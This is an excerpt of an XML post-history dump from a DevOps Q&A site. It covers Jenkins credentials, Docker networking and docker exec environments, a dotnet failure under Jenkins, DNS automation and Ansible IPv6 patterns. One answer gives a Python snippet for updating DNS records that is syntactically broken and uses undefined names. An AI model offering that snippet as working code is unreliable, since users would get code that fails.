FE80::1585:4868:495F:D521&#xD;&#xA;&#xD;&#xA;### References&#xD;&#xA;- [NETWORK BASICS: IPV6 ADDRESS SIMPLIFIED NOTATION][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://toroid.org/ansible-host-patterns&#xD;&#xA;  [2]: https://www.dummies.com/programming/networking/cisco/network-basics-ipv6-address-simplified-notation/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14794" PostHistoryTypeId="2" PostId="4720" RevisionGUID="ac1dedd5-ed17-4285-bab7-0f785b1c2ef8" CreationDate="2018-08-08T15:01:01.477" UserId="4328" Text="I have a Jenkins pipeline that executes a build whenever a change is pushed to the appropriate branch. Jenkins uses an API token to authenticate with the GitLab server and checkout the repository. Besides creating a &quot;Jenkins&quot; user account in GitLab and using that user's API token, is there any other way I can manage GitLab authentication for an automated CI/CD pipeline? Each user of Jenkins currently has their own API token. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14795" PostHistoryTypeId="1" PostId="4720" RevisionGUID="ac1dedd5-ed17-4285-bab7-0f785b1c2ef8" CreationDate="2018-08-08T15:01:01.477" UserId="4328" Text="Jenkins Pipeline GitLab API Credentials Management" ContentLicense="CC BY-SA 4.0" />
  <row Id="14796" PostHistoryTypeId="3" PostId="4720" RevisionGUID="ac1dedd5-ed17-4285-bab7-0f785b1c2ef8" CreationDate="2018-08-08T15:01:01.477" UserId="4328" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;gitlab&gt;&lt;authentication&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14797" PostHistoryTypeId="2" PostId="4721" RevisionGUID="6b23347d-f64a-4536-a484-6fcf53769436" CreationDate="2018-08-08T15:24:56.790" UserId="9148" Text="Are you doing the building using web hooks or just polling? I think it's inevitable that you'll have to create a Jenkins account to manage API access. [This Gitlab link][1] explains how to use the Jenkins Gitlab plugin to manage building when changes are pushed. You'll see they use a Jenkins account as well. This is common practice in my organization to remove single points of failure, such as a departing employee.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/integration/jenkins.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14801" PostHistoryTypeId="2" PostId="4723" RevisionGUID="873af896-59f7-4812-9282-5dc2aa48534a" CreationDate="2018-08-08T18:02:26.673" UserId="6942" Text="# The problem&#xD;&#xA;&#xD;&#xA;The problem is that this happens:&#xD;&#xA;&#xD;&#xA;    $ docker network create  alpine4&#xD;&#xA;    Error response from daemon: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network&#xD;&#xA;&#xD;&#xA;Notwithstanding that I have *no* non-builtin docker networks created.&#xD;&#xA;&#xD;&#xA;The logs suggest that these network ranges are being attempted:&#xD;&#xA;&#xD;&#xA;    DEBU[2018-08-08T17:21:00.877120275Z] ReleasePool(LocalDefault/192.168.240.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877135316Z] ReleasePool(LocalDefault/192.168.224.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877162150Z] ReleasePool(LocalDefault/192.168.208.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877170059Z] ReleasePool(LocalDefault/192.168.192.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877176154Z] ReleasePool(LocalDefault/192.168.176.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877198642Z] ReleasePool(LocalDefault/192.168.160.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877204723Z] ReleasePool(LocalDefault/192.168.144.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877212452Z] ReleasePool(LocalDefault/192.168.128.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877220350Z] ReleasePool(LocalDefault/192.168.112.0/20)   &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877232829Z] ReleasePool(LocalDefault/192.168.96.0/20)    &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877243072Z] ReleasePool(LocalDefault/192.168.80.0/20)    &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877253643Z] ReleasePool(LocalDefault/192.168.64.0/20)    &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877264171Z] ReleasePool(LocalDefault/192.168.48.0/20)    &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877274553Z] ReleasePool(LocalDefault/192.168.32.0/20)    &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877284675Z] ReleasePool(LocalDefault/192.168.16.0/20)    &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877296023Z] ReleasePool(LocalDefault/192.168.0.0/20)     &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877307062Z] ReleasePool(LocalDefault/172.31.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877322208Z] ReleasePool(LocalDefault/172.30.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877333550Z] ReleasePool(LocalDefault/172.29.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877339489Z] ReleasePool(LocalDefault/172.28.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877350224Z] ReleasePool(LocalDefault/172.27.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877361031Z] ReleasePool(LocalDefault/172.26.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877367371Z] ReleasePool(LocalDefault/172.25.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877374978Z] ReleasePool(LocalDefault/172.24.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877382471Z] ReleasePool(LocalDefault/172.23.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877395020Z] ReleasePool(LocalDefault/172.22.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877405540Z] ReleasePool(LocalDefault/172.21.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877415851Z] ReleasePool(LocalDefault/172.20.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877426869Z] ReleasePool(LocalDefault/172.19.0.0/16)      &#xD;&#xA;    DEBU[2018-08-08T17:21:00.877437210Z] ReleasePool(LocalDefault/172.18.0.0/16)    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Even stranger, if I pick any of those subnet ranges to use as an explicit subnet range, creation works *just fine*:&#xD;&#xA;&#xD;&#xA;    $ docker network create --subnet 172.31.0.0/16 alpine3&#xD;&#xA;    189ec86443c0799a298f672497aa24fb17dc725d810cd6c3917555ae6c185012&#xD;&#xA;&#xD;&#xA;# The question&#xD;&#xA;&#xD;&#xA;Given the above, why can't I just create a bridge network and have docker pick a subnet range for me?&#xD;&#xA;&#xD;&#xA;# Setup&#xD;&#xA;&#xD;&#xA;    $ dockerd --version&#xD;&#xA;    Docker version 18.03.1-ce, build 9ee9f40&#xD;&#xA;&#xD;&#xA;Running on ubuntu 16.04 in aws. Installed using the official .deb, no special configs in place (indeed, no `daemon.json` at all)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14802" PostHistoryTypeId="1" PostId="4723" RevisionGUID="873af896-59f7-4812-9282-5dc2aa48534a" CreationDate="2018-08-08T18:02:26.673" UserId="6942" Text="Docker won't create a bridge network without being given an explicit subnet" ContentLicense="CC BY-SA 4.0" />
  <row Id="14803" PostHistoryTypeId="3" PostId="4723" RevisionGUID="873af896-59f7-4812-9282-5dc2aa48534a" CreationDate="2018-08-08T18:02:26.673" UserId="6942" Text="&lt;docker&gt;&lt;linux&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14804" PostHistoryTypeId="5" PostId="4715" RevisionGUID="f6e4678f-e4d0-4284-a8f8-762184254056" CreationDate="2018-08-08T18:49:31.980" UserId="9079" Comment="added 127 characters in body; edited tags" Text="When I check for dotnet version it is throwing an error &#xD;&#xA; &#xD;&#xA;	D:\jenkins\workspace\csharp-windows-test&gt;dotnet --version &#xD;&#xA;	17:58:06 System.ArgumentNullException: Value cannot be null.&#xD;&#xA;	17:58:06 Parameter name: path1&#xD;&#xA;	17:58:06    at System.IO.Path.Combine(String path1, String path2)&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Configurer.CliFolderPathCalculator.get_DotnetUserProfileFolderPath()&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Configurer.FirstTimeUseNoticeSentinel..ctor(CliFolderPathCalculator cliFolderPathCalculator)&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Cli.Program.ProcessArgs(String[] args, ITelemetry telemetryClient)&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Cli.Program.Main(String[] args)&#xD;&#xA;	17:58:06 &#xD;&#xA;&#xD;&#xA;but when I search for 'where' it shows the location&#xD;&#xA;&#xD;&#xA;	17:58:06 D:\jenkins\workspace\csharp-windows-test&gt;where dotnet  &#xD;&#xA;	17:58:07 C:\Program Files\dotnet\dotnet.exe&#xD;&#xA;&#xD;&#xA;This is causing build failures. Can someone suggest a best way to resolve this &#xD;&#xA;&#xD;&#xA;Also I was able to execute the script on the machine directly without issues. This is only happening when called from Jenkins  " ContentLicense="CC BY-SA 4.0" />
  <row Id="14805" PostHistoryTypeId="6" PostId="4715" RevisionGUID="f6e4678f-e4d0-4284-a8f8-762184254056" CreationDate="2018-08-08T18:49:31.980" UserId="9079" Comment="added 127 characters in body; edited tags" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;windows&gt;&lt;builds&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14806" PostHistoryTypeId="2" PostId="4724" RevisionGUID="8656547b-0c23-49e9-b567-c6f0456cfb33" CreationDate="2018-08-08T21:00:22.900" UserId="9079" Text="When I did `echo %USERPROFILE%` from Jenkins it returned null. So I had to &#xD;&#xA;manually set `USERPROFILE` value from Jenkins as environment variable. Also I had to set these&#xD;&#xA;   &#xD;&#xA;`APPDATA=%USERPROFILE%\AppData\Roaming`&#xD;&#xA;    &#xD;&#xA;`LOCALAPPDATA=%USERPROFILE%\AppData\Local` " ContentLicense="CC BY-SA 4.0" />
  <row Id="14807" PostHistoryTypeId="2" PostId="4725" RevisionGUID="b3f03e79-14d3-4f99-aa21-ed010744472a" CreationDate="2018-08-08T23:16:09.210" UserId="9178" Text="For my Jenkins build, I need to manage a Github repository to automate building a project. However, the issue is that this repository needs to pull a submodule from Bitbucket. This requires two difference instances of authentication, one for each service. As of now, Jenkins is only allowing the use of a single set of credentials, using a username and SSH key. Is there a way to specify a different set of credentials for each pull?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14808" PostHistoryTypeId="1" PostId="4725" RevisionGUID="b3f03e79-14d3-4f99-aa21-ed010744472a" CreationDate="2018-08-08T23:16:09.210" UserId="9178" Text="How to use Jenkins to manage a repository from Github with a submodule from Bitbucket?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14809" PostHistoryTypeId="3" PostId="4725" RevisionGUID="b3f03e79-14d3-4f99-aa21-ed010744472a" CreationDate="2018-08-08T23:16:09.210" UserId="9178" Text="&lt;jenkins&gt;&lt;bitbucket&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14811" PostHistoryTypeId="5" PostId="4718" RevisionGUID="55c8de60-d492-494f-b920-6d5baa8b09d8" CreationDate="2018-08-09T05:07:21.340" UserId="6375" Comment="Format content" Text="I manually update the DNS settings at the registrar for my domains, one of which is&#xD;&#xA;&#xD;&#xA;https://domains.google.com/registrar&#xD;&#xA;&#xD;&#xA;What are people using to automate updates to DNS settings ?&#xD;&#xA;&#xD;&#xA;Specifically I need to manually update : &#xD;&#xA;&#xD;&#xA;- TXT field for the DKIM setting&#xD;&#xA;&#xD;&#xA;- TXT field for spf &#xD;&#xA;&#xD;&#xA;    @                  TXT          1m       &quot;v=spf1 ip4:100.22.22.100 include:blah.com -all&quot;&#xD;&#xA;- A record everytime I change external IP&#xD;&#xA;&#xD;&#xA;To run my own DNS host servers seems like overkill ... ideally. I would just make some secure REST call to perform programmatic updates." ContentLicense="CC BY-SA 4.0" />
  <row Id="14812" PostHistoryTypeId="24" PostId="4718" RevisionGUID="55c8de60-d492-494f-b920-6d5baa8b09d8" CreationDate="2018-08-09T05:07:21.340" Comment="Proposed by 6375 approved by -1 edit id of 747" ContentLicense="CC BY-SA 4.0" />
  <row Id="14813" PostHistoryTypeId="5" PostId="4718" RevisionGUID="a0172653-b052-42df-93b4-b4a673b1f60b" CreationDate="2018-08-09T05:07:21.340" UserId="40" Comment="added 4 characters in body" Text="I manually updated the DNS settings at the registrar for my domains, one of which is:&#xD;&#xA;&#xD;&#xA;    https://domains.google.com/registrar&#xD;&#xA;&#xD;&#xA;What are people using to automate updates to DNS settings?&#xD;&#xA;&#xD;&#xA;Specifically I need to manually update : &#xD;&#xA;&#xD;&#xA;- TXT field for the DKIM setting&#xD;&#xA;&#xD;&#xA;- TXT field for spf  &#xD;&#xA;&#xD;&#xA;    @                  TXT          1m       &quot;v=spf1 ip4:100.22.22.100 include:blah.com -all&quot;&#xD;&#xA;&#xD;&#xA;- A record everytime I change external IP&#xD;&#xA;&#xD;&#xA;To run my own DNS host servers seems like overkill. Ideally I would just make some secure REST call to perform programmatic updates." ContentLicense="CC BY-SA 4.0" />
  <row Id="14814" PostHistoryTypeId="2" PostId="4726" RevisionGUID="7a60c2cb-3900-42d2-821c-d3a1b2e3b68c" CreationDate="2018-08-09T07:32:02.987" UserId="6223" Text="Do you need to run it beside a VPN &quot;OpenVPN service&quot; ? &#xD;&#xA;&#xD;&#xA;I think using below would solve the issue for clearing any unused networks by at least 1 container.&#xD;&#xA;&#xD;&#xA;    $ docker network prune" ContentLicense="CC BY-SA 4.0" />
  <row Id="14815" PostHistoryTypeId="2" PostId="4727" RevisionGUID="9a5fd192-cb5f-4c74-bc37-c5b187fa9829" CreationDate="2018-08-09T07:44:23.713" UserId="8251" Text="Amazon web services provides such a service,  called Route53. You can actually use REST calls,  but it is much easier to use their command line tools or bindings for PHP,  Python or JavaScript. &#xA;&#xA;Here is an entry point to get you started, the route53 change resource record sets call can be used to update or insert  one or many records on a domain.&#xA; https://docs.aws.amazon.com/cli/latest/reference/route53/change-resource-record-sets.html&#xA;&#xA;Of course you need to create an account, set up permissions and delegate name servers to route53.&#xA;&#xA;It's also not free,  but fairly cheap at $0.50 for first 25 domains, then $0.10 after.  All charges per month. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14816" PostHistoryTypeId="2" PostId="4728" RevisionGUID="0d8329e0-8dfc-4413-9b55-bb4f3c9cc0c3" CreationDate="2018-08-09T08:29:02.007" UserId="6223" Text="You can use dns.resolver or dns.rdatatype and update in Python like below: &#xD;&#xA;&#xD;&#xA;    import dns.resolver&#xD;&#xA;    import dns.rdatatype&#xD;&#xA;    import dns.update&#xD;&#xA;    &#xD;&#xA;    for i in dns.resolver.query('blah.com', 'TXT').answer.response:&#xD;&#xA;       update.replace(% i , 60, dns.rdatatype.TXT, '&quot; NEW RECORD&quot;')&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14818" PostHistoryTypeId="5" PostId="4719" RevisionGUID="51cbdb6d-d69a-45ea-ab32-8ed87da3dda5" CreationDate="2018-08-09T11:46:54.907" UserId="6619" Comment="added 1 character in body" Text="This blog post covers all of the methods:&#xD;&#xA;&#xD;&#xA;#### *excerpt - [Host names and patterns in Ansible 2][1]*&#xD;&#xA;&gt; ### Inventory hostnames&#xD;&#xA;Ansible 2 requires inventory hostnames to be valid IPv4/IPv6 addresses or hostnames (i.e., x.example.com or x, but not x..example.com or x--). As an extension, it accepts Unicode word characters in hostname labels. Any mistakes result in specific parsing errors, not mysterious failures during execution.&#xD;&#xA;&gt;&#xD;&#xA;Inventory hostnames may also use alphabetic or numeric ranges to define more than one host. For example, foo[1:3] defines foo1 through foo3, while foo[x:z:2] expands to fox and foz. Addresses may use numeric ranges: 192.0.2.[3:42].&#xD;&#xA;&gt;&#xD;&#xA;&gt;### IPv6 addresses&#xD;&#xA;A number of problems with the parsing of IPv6 addresses have also been fixed, and their behaviour has been made consistent across the inventory (.ini files) and in playbooks (e.g., in hosts: lines and with add_host).&#xD;&#xA;&gt;&#xD;&#xA;All of the recommended IPv6 address notations (from spelling out all 128 bits to the various compressed forms) are supported. Addresses with port numbers must be written as [addr]:port. One can also use hexadecimal ranges to define multiple hosts in inventory files, e.g. 9876::[a:f]:2.&#xD;&#xA;&gt;&#xD;&#xA;&gt;A couple of small but necessary bugfixes go hand-in-hand with the parsing changes, and fix problems with passing IPv6 addresses to ssh and to rsync. Taken together, these changes make it possible to use IPv6 in practice with Ansible.&#xD;&#xA;&#xD;&#xA;Therefore patterns such as these IPv6's would be allowed:&#xD;&#xA;&#xD;&#xA;- fully specified 128 bit address&#xD;&#xA;- [addr]:port&#xD;&#xA;- hexadecimal ranges - 9876::[a:f]:2&#xD;&#xA;- various forms of compressing ranges - FF01::[1:6]&#xD;&#xA;&#xD;&#xA;Simplified examples:&#xD;&#xA;&#xD;&#xA;    # IPv6 Address                                # Simplified Notation&#xD;&#xA;    -----------------------------------------     ----------------------------&#xD;&#xA;    - FF01:0000:0000:0000:0000:0000:0000:0001	  - FF01::1&#xD;&#xA;    - 2031:0000:130F:0000:0000:09C0:876A:130B	  - 2031:0:130F::9C0:876A:130B&#xD;&#xA;    - 0000:0000:0000:0000:0000:0000:0000:0001	  - ::1&#xD;&#xA;    - FE80:0000:0000:5EFE:0192.0168.0001.0123	  - FE80::5EFE:192.168.1.123&#xD;&#xA;    - FE80:0000:0000:0000:1585:4868:495F:D521	  - FE80::1585:4868:495F:D521&#xD;&#xA;&#xD;&#xA;### References&#xD;&#xA;- [NETWORK BASICS: IPV6 ADDRESS SIMPLIFIED NOTATION][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://toroid.org/ansible-host-patterns&#xD;&#xA;  [2]: https://www.dummies.com/programming/networking/cisco/network-basics-ipv6-address-simplified-notation/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14819" PostHistoryTypeId="2" PostId="4730" RevisionGUID="1b62614c-6f07-4098-b360-1c2fad9e701c" CreationDate="2018-08-09T13:50:40.060" UserId="4553" Text="I have a docker image that looks something like this:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:16.04&#xD;&#xA;&#xD;&#xA;    # Install packages for building ruby&#xD;&#xA;    RUN apt-get update &amp;&amp; \&#xD;&#xA;    apt-get -y install build-essential git curl wget net-tools apt-utils sudo man \&#xD;&#xA;    libssl-dev libreadline-dev libyaml-dev nano gcc rubygems ruby-dev&#xD;&#xA;&#xD;&#xA;    # Install rbenv and ruby-build&#xD;&#xA;    ENV PATH /root/.rbenv/bin:$PATH&#xD;&#xA;    RUN git clone https://github.com/sstephenson/rbenv.git /root/.rbenv &amp;&amp; \&#xD;&#xA;    git clone https://github.com/sstephenson/ruby-build.git /root/.rbenv/plugins/ruby-build &amp;&amp; \&#xD;&#xA;    /root/.rbenv/plugins/ruby-build/install.sh &amp;&amp; \&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; /etc/profile&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; ~/.profile &amp;&amp; \&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; ~/.bashrc&#xD;&#xA;&#xD;&#xA;    # Install ruby and bundler&#xD;&#xA;    # Install Bundler&#xD;&#xA;    ENV CONFIGURE_OPTS --disable-install-doc&#xD;&#xA;    RUN rbenv install 2.4.1 &amp;&amp; \&#xD;&#xA;    echo 'gem: --no-rdoc --no-ri' &gt;&gt; ~/.gemrc &amp;&amp; \&#xD;&#xA;    rbenv global 2.4.1 &amp;&amp; \&#xD;&#xA;    rbenv local 2.4.1 &amp;&amp; \&#xD;&#xA;    gem install bundler&#xD;&#xA;&#xD;&#xA;    ENTRYPOINT /bin/bash&#xD;&#xA;&#xD;&#xA;My problem is that when I build the image and start a container&#xD;&#xA;&#xD;&#xA;    docker build -t test .&#xD;&#xA;    docker run -it --name test-container test&#xD;&#xA;&#xD;&#xA;If I run the commands directly in the container shell,  &#xD;&#xA;ruby is 2.4.1 (as I'd expect after running `rbenv global 2.4.1`)&#xD;&#xA;&#xD;&#xA;    ruby -v    # 2.4.1p111&#xD;&#xA;    which ruby # /root/.rbenv/shims/ruby&#xD;&#xA;&#xD;&#xA;But if I open a new shell and use docker exec,  &#xD;&#xA;ruby is 2.3.1, which is the system default&#xD;&#xA;&#xD;&#xA;    docker exec test-container ruby -v    # 2.3.1p112&#xD;&#xA;    docker exec test-container which ruby # /usr/bin/ruby&#xD;&#xA;&#xD;&#xA;-----------------&#xD;&#xA;&#xD;&#xA;I think it could have something to do with the bash profile not starting rbenv properly when using `docker exec`. The `env` command seems to have less output when using `docker exec` too, which is why I suspect something to do with .profile or .bashrc not loading.&#xD;&#xA;&#xD;&#xA;Any ideas on how I can get `rbenv` working with `docker exec`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14820" PostHistoryTypeId="1" PostId="4730" RevisionGUID="1b62614c-6f07-4098-b360-1c2fad9e701c" CreationDate="2018-08-09T13:50:40.060" UserId="4553" Text="docker exec not using rbenv ruby version" ContentLicense="CC BY-SA 4.0" />
  <row Id="14821" PostHistoryTypeId="3" PostId="4730" RevisionGUID="1b62614c-6f07-4098-b360-1c2fad9e701c" CreationDate="2018-08-09T13:50:40.060" UserId="4553" Text="&lt;docker&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14822" PostHistoryTypeId="5" PostId="4730" RevisionGUID="4ea497c4-86c0-4558-b958-59e68dce540d" CreationDate="2018-08-09T14:04:45.943" UserId="4553" Comment="make question title more generic, add complete list of files which may be causing issue" Text="I have a docker image that looks something like this:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:16.04&#xD;&#xA;&#xD;&#xA;    # Install packages for building ruby&#xD;&#xA;    RUN apt-get update &amp;&amp; \&#xD;&#xA;    apt-get -y install build-essential git curl wget net-tools apt-utils sudo man \&#xD;&#xA;    libssl-dev libreadline-dev libyaml-dev nano gcc rubygems ruby-dev&#xD;&#xA;&#xD;&#xA;    # Install rbenv and ruby-build&#xD;&#xA;    ENV PATH /root/.rbenv/bin:$PATH&#xD;&#xA;    RUN git clone https://github.com/sstephenson/rbenv.git /root/.rbenv &amp;&amp; \&#xD;&#xA;    git clone https://github.com/sstephenson/ruby-build.git /root/.rbenv/plugins/ruby-build &amp;&amp; \&#xD;&#xA;    /root/.rbenv/plugins/ruby-build/install.sh &amp;&amp; \&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; /etc/profile&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; ~/.profile &amp;&amp; \&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; ~/.bashrc&#xD;&#xA;&#xD;&#xA;    # Install ruby and bundler&#xD;&#xA;    # Install Bundler&#xD;&#xA;    ENV CONFIGURE_OPTS --disable-install-doc&#xD;&#xA;    RUN rbenv install 2.4.1 &amp;&amp; \&#xD;&#xA;    echo 'gem: --no-rdoc --no-ri' &gt;&gt; ~/.gemrc &amp;&amp; \&#xD;&#xA;    rbenv global 2.4.1 &amp;&amp; \&#xD;&#xA;    rbenv local 2.4.1 &amp;&amp; \&#xD;&#xA;    gem install bundler&#xD;&#xA;&#xD;&#xA;    ENTRYPOINT /bin/bash&#xD;&#xA;&#xD;&#xA;My problem is that when I build the image and start a container&#xD;&#xA;&#xD;&#xA;    docker build -t test .&#xD;&#xA;    docker run -it --name test-container test&#xD;&#xA;&#xD;&#xA;If I run the commands directly in the container shell,  &#xD;&#xA;ruby is 2.4.1 (as I'd expect after running `rbenv global 2.4.1`)&#xD;&#xA;&#xD;&#xA;    ruby -v    # 2.4.1p111&#xD;&#xA;    which ruby # /root/.rbenv/shims/ruby&#xD;&#xA;&#xD;&#xA;But if I open a new shell and use docker exec,  &#xD;&#xA;ruby is 2.3.1, which is the system default&#xD;&#xA;&#xD;&#xA;    docker exec test-container ruby -v    # 2.3.1p112&#xD;&#xA;    docker exec test-container which ruby # /usr/bin/ruby&#xD;&#xA;&#xD;&#xA;-----------------&#xD;&#xA;&#xD;&#xA;I think it could have something to do with the bash profile not starting rbenv properly when using `docker exec`. The `env` command seems to have less output when using `docker exec` too, which is why I suspect something to do with .bashrc, .profile, or even /etc/profile not loading somehow.&#xD;&#xA;&#xD;&#xA;Any ideas on how I can get `rbenv` working with `docker exec`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14823" PostHistoryTypeId="4" PostId="4730" RevisionGUID="4ea497c4-86c0-4558-b958-59e68dce540d" CreationDate="2018-08-09T14:04:45.943" UserId="4553" Comment="make question title more generic, add complete list of files which may be causing issue" Text="Docker exec environment different to container shell" ContentLicense="CC BY-SA 4.0" />
  <row Id="14824" PostHistoryTypeId="5" PostId="4730" RevisionGUID="a5425aec-74f2-44b4-b334-61cb2f39019d" CreationDate="2018-08-09T14:11:44.763" UserId="4553" Comment="match question at the end with title, more generic rather than focusing on my specific issue with rbenv and ruby" Text="I have a docker image that looks something like this:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:16.04&#xD;&#xA;&#xD;&#xA;    # Install packages for building ruby&#xD;&#xA;    RUN apt-get update &amp;&amp; \&#xD;&#xA;    apt-get -y install build-essential git curl wget net-tools apt-utils sudo man \&#xD;&#xA;    libssl-dev libreadline-dev libyaml-dev nano gcc rubygems ruby-dev&#xD;&#xA;&#xD;&#xA;    # Install rbenv and ruby-build&#xD;&#xA;    ENV PATH /root/.rbenv/bin:$PATH&#xD;&#xA;    RUN git clone https://github.com/sstephenson/rbenv.git /root/.rbenv &amp;&amp; \&#xD;&#xA;    git clone https://github.com/sstephenson/ruby-build.git /root/.rbenv/plugins/ruby-build &amp;&amp; \&#xD;&#xA;    /root/.rbenv/plugins/ruby-build/install.sh &amp;&amp; \&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; /etc/profile&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; ~/.profile &amp;&amp; \&#xD;&#xA;    echo 'eval &quot;$(rbenv init -)&quot;' &gt;&gt; ~/.bashrc&#xD;&#xA;&#xD;&#xA;    # Install ruby and bundler&#xD;&#xA;    # Install Bundler&#xD;&#xA;    ENV CONFIGURE_OPTS --disable-install-doc&#xD;&#xA;    RUN rbenv install 2.4.1 &amp;&amp; \&#xD;&#xA;    echo 'gem: --no-rdoc --no-ri' &gt;&gt; ~/.gemrc &amp;&amp; \&#xD;&#xA;    rbenv global 2.4.1 &amp;&amp; \&#xD;&#xA;    rbenv local 2.4.1 &amp;&amp; \&#xD;&#xA;    gem install bundler&#xD;&#xA;&#xD;&#xA;    ENTRYPOINT /bin/bash&#xD;&#xA;&#xD;&#xA;My problem is that when I build the image and start a container&#xD;&#xA;&#xD;&#xA;    docker build -t test .&#xD;&#xA;    docker run -it --name test-container test&#xD;&#xA;&#xD;&#xA;If I run the commands directly in the container shell,  &#xD;&#xA;ruby is 2.4.1 (as I'd expect after running `rbenv global 2.4.1`)&#xD;&#xA;&#xD;&#xA;    ruby -v    # 2.4.1p111&#xD;&#xA;    which ruby # /root/.rbenv/shims/ruby&#xD;&#xA;&#xD;&#xA;But if I open a new shell and use docker exec,  &#xD;&#xA;ruby is 2.3.1, which is the system default&#xD;&#xA;&#xD;&#xA;    docker exec test-container ruby -v    # 2.3.1p112&#xD;&#xA;    docker exec test-container which ruby # /usr/bin/ruby&#xD;&#xA;&#xD;&#xA;-----------------&#xD;&#xA;&#xD;&#xA;I think it could have something to do with the bash profile not starting rbenv properly when using `docker exec`. The `env` command seems to have less output when using `docker exec` too, which is why I suspect something to do with .bashrc, .profile, or even /etc/profile not loading somehow.&#xD;&#xA;&#xD;&#xA;How can I ensure docker exec produces the same result as running the command directly on the container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14825" PostHistoryTypeId="2" PostId="4731" RevisionGUID="06141c26-ca3b-4258-89d6-1b04bb163dd4" CreationDate="2018-08-09T17:58:31.710" UserId="9191" Text="I have found developing a new venture can actually be made EASIER by adopting the DevOps philosophy and practices.  After all, a small (1-2) person company does not have the resources (or luxury) to hire a developer, QA, operations and even customer service.&#xD;&#xA;&#xD;&#xA;So almost by necessity the early players will have to cover multiple roles, development and operations (features and releases) can be mapped directly to a &quot;DevOps&quot; styled business.&#xD;&#xA;&#xD;&#xA;That what I did with my previous micro-agency, we eventually became to full time people with 3-4 regular contractors that would be called in as needed. Eventually we started also managing some projects for clients (in addition to adding features).&#xD;&#xA;&#xD;&#xA;Though we did not use the term &quot;DevOps&quot; (I did not know it existed at the time), we were focused on improving feature to deployment timeframe.&#xD;&#xA;&#xD;&#xA;Also, a DevOps model may make it easier for people to take time off, since their role can be covered by somebody else!&#xD;&#xA;&#xD;&#xA;I am just now starting a venture (providing DevOps services) to small business.  &#xD;&#xA;&#xD;&#xA;So in a nutshell, I think it is not only do I think it is possible, but I believe it is the BEST way to start!&#xD;&#xA;&#xD;&#xA;Good Luck!" ContentLicense="CC BY-SA 4.0" />
